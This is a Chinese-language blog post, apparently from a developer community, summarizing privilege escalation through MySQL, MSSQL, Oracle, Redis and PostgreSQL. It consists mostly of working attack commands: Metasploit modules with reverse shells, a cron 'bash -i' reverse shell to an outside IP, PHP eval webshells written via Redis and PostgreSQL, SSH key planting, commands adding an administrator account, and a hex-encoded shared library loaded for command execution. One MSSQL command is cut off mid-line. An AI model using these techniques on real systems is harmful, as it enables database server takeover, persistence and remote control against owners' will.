数据库提权总结篇-阿里云开发者社区

对数据库进行提权，前提条件就是要知道登录名和密码，数据库对应的最高权限如下

mysql：root
mssql：sa
oracle：dba

如何获取数据库密码呢

1、数据库的存储文件或备份文件
2、网站应用源码中的数据库配置文件
3、采用工具或脚本爆破(需要开启远程访问)

MYSQL-UDF&MOF&启动项&反弹Shell

UDF

获取密码-开启外联-高版本创建目录-MSF导出

1.mysql<5.2 导出目录c:/windows或system32
2.mysql=>5.2 导出安装目录/lib/plugin/
# 查看版本
select version()
# 查看安装目录 
select @@basedir
# 开启导出权限 在my.ini设置后并重启
secure_file_priv=
# 开启远程
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,

MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在，需手工创建)
该dll文件中包含sys_exec()和sys_eval()两个函数，但是默认只创建sys_exec()函数
该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数，来执行有回显的命令。

开启msf 对mysql进行提权

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run

成功的后就会在目录下发现多了一个dll文件这是手动创建一个函数就可以执行系统命令了

# 查询位置
select * from mysql.func where name = "sys_exec";
# 绑定dll 
create function sys_eval returns string soname "QnCPnNzi.dll";
# 执行命令
select sys_eval("whoami");

MOF

use exploit/windows/mysql/mysql_mof
set rhosts 192.168.137.126
set username root
set password root
run

执行成功后返回一个meterpreter 获取的权限就是system

启动项

use exploit/windows/mysql/mysql_start_up
set rhosts 192.168.137.126
set username root
set password root
run

多出个木马服务器下次重启后就会上线msf

开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.137.12
set lport 4444
run

双击木马模拟重启

反弹shell

https://blog.csdn.net/weixin_43801718/article/details/105493042

set @a=concat('',二进制内容参考csdn);
create table Ghost(data LONGBLOB);
insert into Ghost values("");
update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\\phpstudy2\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';
select backshell('47.94.236.117',7788)

MSSQL-xp_cmdshell&sp_oacreate&沙盒

xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭：
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

使用navicat连接默认关闭

EXEC master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了，可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

sp_oacreate进行提权

主要是用来调用OLE对象，利用OLE对象的run方法执行系统命令。

启用：
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;
关闭：
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;
执行：
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\s

SQL Server 沙盒提权

exec sp_configure 'show advanced options',1;reconfigure; 
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式，如果一次执行全部代码有问题，先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭，经过测试发现沙盒模式无论是开，还是关，都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
--执行系统命令  无回显
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user ajie ajie /add")') 
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators ajie /add")')
沙盒模式SandBoxMode参数含义（默认是2）
`0`：在任何所有者中禁止启用安全模式
`1` ：为仅在允许范围内
`2` ：必须在access模式下
`3`：完全开启
openrowset是可以通过OLE DB访问SQL Server数据库，OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; 
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; 
--exec sp_configure 'show advanced options',0;reconfigure;

Oracle-普通用户&注入提升模式&DBA模式

1、普通用户模式：
前提是拥有一个普通的oracle连接账号，不需要DBA权限，可提权至DBA，并以oracle实例运行的权限执行操作系统命令。
2、DBA用户模式：（自动化工具演示）
拥有DBA账号密码，可以省去自己手动创建存储过程的繁琐步骤，一键执行测试。
3、注入提升模式：（Sqlmap测试演示）
拥有一个oracle注入点，可以通过注入点直接执行系统命令，此种模式没有实现回显

通过webshell 发现了数据库密码

scott ：tiger

使用工具进行提权

注入提权就是通过sqlmap 进行提权

注入url
http://10.4.7.60:8080/sql.jsp?id=7698

python sqlmap.py -u http://10.4.7.60:8080/sql.jsp?id=7698 --is-dba

通过普通用户注入，得到了dba的权限。

redis写webshell&ssh免密&定时任务&主从RCE

webshell

config set dir /var/www/html/  # 网站根路径
config set dbfilename shell.php
set 1 "<?php @eval($_POST['123']);?>"
save

ssh免密

# 在攻击机上创建密钥
ssh-keygen–trsa
# redis操作
config set dir /root/.ssh
config set dbfilename authorized_keys
save
# 攻击机操作
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
cat key.txt |redis-cli -h 10.4.7.50 -x set crack

定时任务

# redis 操作
set  xx  "\n* * * * * bash -i >& /dev/tcp/10.4.7.10/8888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
# vps 执行
nc -lvp 8888

主从RCE

漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Reids 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand（需要make）
git clone https://github.com/Ridter/redis-rce.git
python redis-rce.py -r 目标ip -p 目标端口 -L 本地ip -f 恶意.so
so文件是通过RedisModules make生成的。

PostgreSQL 写webshell&命令执行

使用数据库webshell

drop table pwn;
create table pwn (t TEXT);
insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>');
select * from pwn;
copy pwn(t) to  '/var/www/html/cmd.php';
drop table pwn;
copy  (select '<?php phpinfo();?>') to '/var/www/html/cmd.php';

使用数据库执行系统命令

执行系统命令需要用到udf库，(这个有点类似mysql 提权)

创建.so,执行自己需要用的命令

SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex'));
insert into pg_largeobject values (9023, 1, decode('0200000002000200020002000200020002000000000002000200020002000200020002000000000002000000020001000100010001000100010001000100010001000100010001000100010001000000010001007c0100001000000000000000751a6909000002009e01000000000000f81d2000000000000800000000000000b00d000000000000001e2000000000000800000000000000700d000000000000101e2000000000000800000000000000101e200000000000d81f20000000000006000000040000000000000000000000e01f200000000000060000000c0000000000000000000000e81f20000000000006000000150000000000000000000000f01f20000000000006000000160000000000000000000000f81f200000000000060000001700000000000000000000001820200000000000070000000200000000000000000000002020200000000000070000000300000000000000000000002820200000000000070000000500000000000000000000003020200000000000070000000600000000000000000000003820200000000000070000000700000000000000000000004020200000000000070000000800000000000000000000004820200000000000070000000900000000000000000000005020200000000000070000000a00000000000000000000005820200000000000070000002200000000000000000000006020200000000000070000000b00000000000000000000006820200000000000070000000c00000000000000000000007020200000000000070000000d00000000000000000000007820200000000000070000000e00000000000000000000008020200000000000070000000f0000000000000000000000882020000000000007000000100000000000000000000000902020000000000007000000110000000000000000000000982020000000000007000000120000000000000000000000a02020000000000007000000130000000000000000000000a82020000000000007000000140000000000000000000000b02020000000000007000000170000000000000000000000b82020000000000007000000180000000000000000000000c02020000000000007000000190000000000000000000000c820200000000000070000002900000000000000000000004883ec08488b057d1420004885c07405e8c30000004883c408c30000000000000000000000000000ff3582142000ff25841420000f1f4000ff25821420006800000000e9e0ffffffff257a1420006801000000e9d0ffffffff25721420006802000000e9c0ffffffff256a1420006803000000e9b0ffffffff25621420006804000000e9a0ffffffff255a1420006805000000e990ffffffff25521420006806000000e980ffffffff254a1420006807000000e970ffffffff25421420006808000000e960ffffffff253a1420006809000000e950ffffffff2532142000680a000000e940ffffffff252a142000680b000000e930ffffffff2522142000680c000000e920ffffffff251a142000680d000000e910ffffffff2512142000680e000000e900ffffffff250a142000680f000000e9f0feffffff25021420006810000000e9e0feffffff25fa1320006811000000e9d0feffffff25f21320006812000000e9c0feffffff25ea1320006813000000e9b0feffffff25e21320006814000000e9a0feffffff25da1320006815000000e990feffffff25d21320006816000000e980feffff488d05d0132000488d3dc2132000554829f84889e54883f80e77025dc3488b05b41220004885c074f25dffe00f1f4000488d0599132000488d3d92132000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b158f1220004885d274f25d4889c6ffe20f1f4000803d5913200000752748833d7712200000554889e5740c488d3d82102000e82dffffffe868ffffff5dc6053013200001f3c30f1f4000662e0f1f84000000000048833d50102000007426488b05271220004885c0741a55488d3d3a1020004889e5ffd05de957ffffff0f1f8000000000e94bffffff488d05c4030000c355534889fb508b17c1ea028d6afc8d7d014863ffe84afeffff4863d5488d73044889c74889d1f3a4c60410005a5b5dc341544983ccff4c89e15531ed4088e8534889fbf2ae48f7d1488d7903e812feffff4889df4889c24c89e14088e84889def2ae4889df48f7d18d048d0c0000004c89e189024088e8f2ae488d420448f7d14c01e14889c74889d0f3a45b5d415cc3488d0528030000c341554154554889fd5351488b7f20e8a8fdffff4889c74889c3e86dfdffff4989c44889c7e832fdffff4c89e74189c5e8d7fcffff483b5d2074084889dfe809feffff5a5b5d415c4489e8415dc3488d05cf020000c34157415641554154555352488b7f20e852fdffff4889c7e81afdffffbf000400004889c5e84dfdffffbf010000004989c4e840fdffff488d35690200004889efc600004889c331ede869fdffff4989c54c89eabe080000004c89e7e8c6fcffff4885c0743931c04c89e74883c9fff2ae4889df48f7d14c8d71ff468d7c35004963f7e80ffdffff488d3c284963d64c89e64889c34963efe82afcffffebb24c89efe870fcffff803b007405c6442bff00584889df5b5d415c415d415e415fe953fdffff488d0500020000c341545553488b7f20e88efcffff4989c48b28e824fdffff85c07907b801000000eb677555c1ed02bf1e000000e8dafcffff83ed04488d70ff4531c94863ed4531c031ff488d042e48f7d6b921000000ba070000004821c6e8cffbff', 'hex'));
insert into pg_largeobject values (9023, 2, decode('ff4883f8ff4889c374b6498d7424044889ea4889c7e886fbffffffd3eb0eba0100000031f689c7e854fcffff31c05b5d415cc3488d0566010000c341574989ff41564155415455534883ec28488b7f20e8ebfbffff488d7c240f488d3524010000b911000000f3a44889c7e8a0fbffff488d350b0100004889c74989c4e81efcffff4885c04889c3744431f6ba020000004889c7e8c7fbffff4889dfe87ffbffff31d231f64889c54889df4189c5e8adfbffff8d7d014863ffe892fbffff4885c04989c675144889dfe8f2faffff41c6471c0131c0e9830000004889d9ba010000004863f54889c7e8c3faffff4889dfe8cbfaffff8d7c2d014863ffe84ffbffff31d24889c34139d58d04127e23418a041688c183e00fc0e9048a44040f83e10f8a4c0c0f88445301880c5348ffc2ebd548984889dfc6040300e8b1fbffff4889df4889c5e846faffff4c89f7e83efaffff4c89e7e836faffff4889e84883c4285b5d415c415d415e415fc34883ec084883c408c300000000000000000000007200726200303132333435363738394142434445460000000000000000000000010000000100000001000000010000001c0000008a0300006400000020000000400000000100000001000000011b033b680000000c000000b4f9ffff8400000019fcffffac00000021fcffffc400000051fcffffec000000b1fcffff1c010000b9fcffff3401000006fdffff6c0100000efdffff84010000d1fdffffcc010000d9fdffffe401000067feffff140200006ffeffff2c0200001400000000000000017a5200017810011b0c070890010000240000001c00000028f9ffff80010000000e10460e184a0f0b770880003f1a3b2a33242200000000140000004400000065fbffff080000000000000000000000240000005c00000055fbffff3000000000410e108602410e188303440e20670e18410e10410e08002c000000840000005dfbffff6000000000420e108c02480e188603460e208304024c0e18410e10420e0800000000000014000000b40000008dfbffff08000000000000000000000034000000cc0000007dfbffff4d00000000420e108d02420e188c03410e208604440e288305410e30790e28410e20410e18420e10450e0800140000000401000092fbffff080000000000000000000000440000001c01000082fbffffc300000000420e108f02420e188e03420e208d04420e288c05410e308606410e388307410e4002a60e38440e30410e28420e20420e18420e10420e081400000064010000fdfbffff0800000000000000000000002c0000007c010000edfbffff8e00000000420e108c02410e188603410e20830402860e18410e10420e0800000000000014000000ac0100004bfcffff0800000000000000000000004c000000c40100003bfcffff3101000000420e108f02450e188e03420e208d04420e288c05410e308606410e388307440e600315010e38410e30410e28420e20420e18420e10420e080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex'));
SELECT lo_export(9023, '/tmp/testeval.so');

创建函数

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

执行命令

select sys_eval('whoami');

数据库提权总结篇